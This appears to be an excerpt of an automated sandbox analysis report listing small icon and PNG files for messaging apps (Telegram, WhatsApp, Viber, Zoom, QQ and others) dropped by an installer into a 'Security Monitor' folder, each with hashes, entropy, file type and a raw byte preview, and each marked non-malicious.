MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
